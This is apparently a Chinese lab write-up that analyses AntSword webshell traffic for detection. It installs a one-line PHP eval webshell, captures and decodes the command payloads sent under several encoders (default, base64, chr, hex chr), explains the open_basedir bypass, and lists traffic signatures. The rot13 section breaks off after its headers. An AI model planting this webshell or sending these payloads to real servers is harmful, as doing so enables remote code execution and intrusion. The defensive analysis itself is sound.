webshell通信流量分析
环境安装
Apatche2 + php
sudo apt install apache2 -y
sudo apt install php libapache2-mod-php php-mysql -y
echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php
sudo ufw allow 'Apache Full'
如果成功访问info.php,则环境安装成功
蚁剑
安装使用
快速使用:获取蚁剑 · 语雀
注意:打开加载器选择目录时,目录为源代码的目录,即选择 antSword-master 目录,选择其他目录可能导致在线下载源代码出现解压失败的情况
将 cd /var/www/html | echo "<?php eval($_POST['ant']); ?"> ant.php ,上传后浏览器访问
php.ini中
display_errors = Off,时无提示
GET /ant.php HTTP/1.1
Host: 127.17.25.244
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8HTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:11:50 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
display_errors = On,会提示
Notice: Undefined index: ant in C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\ant.php on line 1
GET /ant.php HTTP/1.1
Host: 10.227.39.34
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6HTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:16:39 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 139
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html<br />
<b>Notice</b>: Undefined index: ant in <b>C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\ant.php</b> on line <b>1</b><br />
流量分析
分析测试连接的数据包
首先使用default编码测试连接
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Content-Type: application/x-www-form-urlencoded
Content-Length: 1792
Connection: closeant=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.8de21%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22677f%22.%22365bc%22%3Becho%20%40asenc(%24output)%3Becho%20%22d6dcc9%22.%224748ef%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:19:58 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html677f365bcC:/Users/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangford6dcc94748ef
请求体进行解码
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());foreach($oparr as $item) {if (!@is_writable($item)) {continue;};$tmdir = $item."/.e7c0d2cbd35";@mkdir($tmdir);if (!@file_exists($tmdir)) {continue;}$tmdir = realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr = @preg_split("/\\\\|\//", $tmdir);for ($i = 0; $i < sizeof($cntarr); $i++) {@chdir("..");};@ini_set("open_basedir", "/");@rmdir($tmdir);break;};
};;function asenc($out) {return $out;
};function asoutput() {$output = ob_get_contents();ob_end_clean();echo "11a5"."3175";echo@ asenc($output);echo "f091"."3b3c";
}
ob_start();
try {$D = dirname($_SERVER["SCRIPT_FILENAME"]);if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);$R = "{$D} ";if (substr($D, 0, 1) != "/") {foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";} else {$R. = "/";}$R. = " ";$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";$s = ($u) ? $u["name"] : @get_current_user();$R. = php_uname();$R. = " {$s}";echo $R;;
} catch (Exception $e) {echo "ERROR://".$e - > getMessage();
};
asoutput();
die();
@ini_set("display_errors", "0"): 函数用于设置 PHP 配置选项。这里将 display_errors 设置为 0,表示不显示错误信息。@ 符号用于抑制可能的错误提示。
@set_time_limit(0):set_time_limit 函数用于设置脚本的最大执行时间。参数为 0 表示不限制执行时间
ini_get 函数用于获取指定的配置选项值。这里获取 open_basedir 的值,open_basedir 用于限制 PHP 脚本可以访问的文件系统路径。如果 open_basedir 设置为 /var/www,则脚本只能访问该目录及其子目录。
dirname 函数返回指定路径的目录部分。这里获取当前脚本的目录。
base64_decode 解码后得到的字符串是 /:/,preg_split 用于根据这个分隔符将 open_basedir 的路径分割成数组。如果 open_basedir 为 /var/www:/tmp,则 $oparr 将为 ['/var/www', '/tmp']
array_push 将当前脚本目录和系统临时目录添加到路径数组中。
is_writable 检查指定路径是否可写。如果可写,则在该路径下创建一个名为 .e7c0d2cbd35 的目录。
realpath 获取目录的绝对路径,chdir 更改当前工作目录到新创建的临时目录。
asoutput(): 这个函数获取输出缓冲区的内容,清空缓冲区,并在输出前后添加一些字符串。
ob_start(); 启动输出缓冲区,后续的输出将被存储在缓冲区中,而不是直接输出。在调用 asoutput 之前,所有的 echo 输出都将被缓冲
$D=dirname($_SERVER["SCRIPT_FILENAME"])
如果脚本在 /var/www/html/script.php,则 $D 为 /var/www/html
特征包含:
@ini_set("display_errors", "0");
与@set_time_limit(0);
使用base_64编码测试连接
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Content-Type: application/x-www-form-urlencoded
Content-Length: 1668
Connection: closeant=%40eval(%40base64_decode(%24_POST%5B'l41e6548d11f05'%5D))%3B&l41e6548d11f05=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmRjNDI5IjtAbWtkaXIoJHRtZGlyKTtpZighQGZpbGVfZXhpc3RzKCR0bWRpcikpe2NvbnRpbnVlO30kdG1kaXI9cmVhbHBhdGgoJHRtZGlyKTtAY2hkaXIoJHRtZGlyKTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwgIi4uIik7JGNudGFycj1AcHJlZ19zcGxpdCgiL1xcXFx8XC8vIiwkdG1kaXIpO2ZvcigkaT0wOyRpPHNpemVvZigkY250YXJyKTskaSsrKXtAY2hkaXIoIi4uIik7fTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwiLyIpO0BybWRpcigkdG1kaXIpO2JyZWFrO307fTs7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZjVjMjI5Ii4iMDVlMzI5IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI3MCIuIjljMCI7fW9iX3N0YXJ0KCk7dHJ5eyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk%2FJHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:37:11 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 169
Connection: close
Content-Type: text/htmlf5c22905e329C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangfor709c0
base64解码后与上面一样
特征:@eval(@base64_decode($_POST['ied5afd67ff4a5'])); //ied5afd67ff4a5为随机变量
使用chr
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 10120
Connection: closeant=%40eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(61).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(103).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(41).ChR(32).ChR(123).ChR(36).ChR(111).ChR(99).ChR(119).ChR(100).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(61).ChR(112).ChR(114).ChR(101).ChR(103).ChR(95).ChR(115).ChR(112).ChR(108).ChR(105).ChR(116).ChR(40).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(34).ChR(76).ChR(122).ChR(116).ChR(56).ChR(79).ChR(105).ChR(56).ChR(61).ChR(34).ChR(41).ChR(44).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(95).ChR(112).ChR(117).ChR(115).ChR(104).ChR(40).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(44).ChR(36).ChR(111).ChR(99).ChR(119).ChR(100).ChR(44).ChR(115).ChR(121).ChR(115).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(116).ChR(101).ChR(109).ChR(112).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(41).ChR(41).ChR(59).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(32).ChR(97).ChR(115).ChR(32).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(41).ChR(32).ChR(123).ChR(105).ChR(102).ChR(40).ChR(33).ChR(64).ChR(105).ChR(115).ChR(95).ChR(119).ChR(114).ChR(105).ChR(116).ChR(97).ChR(98).ChR(108).ChR(101).ChR(40).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(41).ChR(41).ChR(123).ChR(99).ChR(111).ChR(110).ChR(116).ChR(105).ChR(110).ChR(117).ChR(101).ChR(59).ChR(125).ChR(59).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(61).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(46).ChR(34).ChR(47).ChR(46).ChR(99).ChR(99).ChR(54).ChR(100).ChR(55).ChR(34).ChR(59).ChR(64).ChR(109).ChR(107).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(33).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(41).ChR(123).ChR(99).ChR(111).ChR(110).ChR(116).ChR(105).ChR(110).ChR(117).ChR(101).ChR(59).ChR(125).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(61).ChR(114).ChR(101).ChR(97).ChR(108).ChR(112).ChR(97).ChR(116).ChR(104).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(99).ChR(104).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(44).ChR(32).ChR(34).ChR(46).ChR(46).ChR(34).ChR(41).ChR(59).ChR(36).ChR(99).ChR(110).ChR(116).ChR(97).ChR(114).ChR(114).ChR(61).ChR(64).ChR(112).ChR(114).ChR(101).ChR(103).ChR(95).ChR(115).ChR(112).ChR(108).ChR(105).ChR(116).ChR(40).ChR(34).ChR(47).ChR(92).ChR(92).ChR(92).ChR(92).ChR(124).ChR(92).ChR(47).ChR(47).ChR(34).ChR(44).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(102).ChR(111).ChR(114).ChR(40).ChR(36).ChR(105).ChR(61).ChR(48).ChR(59).ChR(36).ChR(105).ChR(60).ChR(115).ChR(105).ChR(122).ChR(101).ChR(111).ChR(102).ChR(40).ChR(36).ChR(99).ChR(110).ChR(116).ChR(97).ChR(114).ChR(114).ChR(41).ChR(59).ChR(36).ChR(105).ChR(43).ChR(43).ChR(41).ChR(123).ChR(64).ChR(99).ChR(104).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(46).ChR(46).ChR(34).ChR(41).ChR(59).ChR(125).ChR(59).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(44).ChR(34).ChR(47).ChR(34).ChR(41).ChR(59).ChR(64).ChR(114).ChR(109).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(98).ChR(114).ChR(101).ChR(97).ChR(107).ChR(59).ChR(125).ChR(59).ChR(125).ChR(59).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(41).ChR(123).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(32).ChR(36).ChR(111).ChR(117).ChR(116).ChR(59).ChR(125).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(123).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(61).ChR(111).ChR(98).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(111).ChR(110).ChR(116).ChR(101).ChR(110).ChR(116).ChR(115).ChR(40).ChR(41).ChR(59).ChR(111).ChR(98).ChR(95).ChR(101).ChR(110).ChR(100).ChR(95).ChR(99).ChR(108).ChR(101).ChR(97).ChR(110).ChR(40).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(48).ChR(57).ChR(102).ChR(50).ChR(51).ChR(34).ChR(46).ChR(34).ChR(56).ChR(55).ChR(100).ChR(53).ChR(53).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(64).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(99).ChR(49).ChR(53).ChR(56).ChR(48).ChR(34).ChR(46).ChR(34).ChR(52).ChR(50).ChR(98).ChR(55).ChR(52).ChR(34).ChR(59).ChR(125).ChR(111).ChR(98).ChR(95).ChR(115).ChR(116).ChR(97).ChR(114).ChR(116).ChR(40).ChR(41).ChR(59).ChR(116).ChR(114).ChR(121).ChR(123).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(68).ChR(61).ChR(61).ChR(34).ChR(34).ChR(41).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(80).ChR(65).ChR(84).ChR(72).ChR(95).ChR(84).ChR(82).ChR(65).ChR(78).ChR(83).ChR(76).ChR(65).ChR(84).ChR(69).ChR(68).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(82).ChR(61).ChR(34).ChR(123).ChR(36).ChR(68).ChR(125).ChR(9).ChR(34).ChR(59).ChR(105).ChR(102).ChR(40).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(36).ChR(68).ChR(44).ChR(48).ChR(44).ChR(49).ChR(41).ChR(33).ChR(61).ChR(34).ChR(47).ChR(34).ChR(41).ChR(123).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(114).ChR(97).ChR(110).ChR(103).ChR(101).ChR(40).ChR(34).ChR(67).ChR(34).ChR(44).ChR(34).ChR(90).ChR(34).ChR(41).ChR(97).ChR(115).ChR(32).ChR(36).ChR(76).ChR(41).ChR(105).ChR(102).ChR(40).ChR(105).ChR(115).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(41).ChR(41).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(47).ChR(34).ChR(59).ChR(125).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(34).ChR(59).ChR(36).ChR(117).ChR(61).ChR(40).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(34).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(103).ChR(105).ChR(100).ChR(34).ChR(41).ChR(41).ChR(63).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(112).ChR(119).ChR(117).ChR(105).ChR(100).ChR(40).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(117).ChR(105).ChR(100).ChR(40).ChR(41).ChR(41).ChR(58).ChR(34).ChR(34).ChR(59).ChR(36).ChR(115).ChR(61).ChR(40).ChR(36).ChR(117).ChR(41).ChR(63).ChR(36).ChR(117).ChR(91).ChR(34).ChR(110).ChR(97).ChR(109).ChR(101).ChR(34).ChR(93).ChR(58).ChR(64).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(117).ChR(114).ChR(114).ChR(101).ChR(110).ChR(116).ChR(95).ChR(117).ChR(115).ChR(101).ChR(114).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(112).ChR(104).ChR(112).ChR(95).ChR(117).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(123).ChR(36).ChR(115).ChR(125).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(36).ChR(82).ChR(59).ChR(59).ChR(125).ChR(99).ChR(97).ChR(116).ChR(99).ChR(104).ChR(40).ChR(69).ChR(120).ChR(99).ChR(101).ChR(112).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(36).ChR(101).ChR(41).ChR(123).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(69).ChR(82).ChR(82).ChR(79).ChR(82).ChR(58).ChR(47).ChR(47).ChR(34).ChR(46).ChR(36).ChR(101).ChR(45).ChR(62).ChR(103).ChR(101).ChR(116).ChR(77).ChR(101).ChR(115).ChR(115).ChR(97).ChR(103).ChR(101).ChR(40).ChR(41).ChR(59).ChR(125).ChR(59).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59))%3BHTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:47:09 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 172
Connection: close
Content-Type: text/html09f2387d55C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangforc158042b74
chr解码后与上面一样
特征:eVAl(cHr(64).ChR(105)
chr16
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 11882
Connection: closeant=%40eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x6f).ChR(0x70).........HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:53:03 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 167
Connection: close
Content-Type: text/htmlc0a4c1C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangfora478436fc
rot13
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Content-Length: 1871
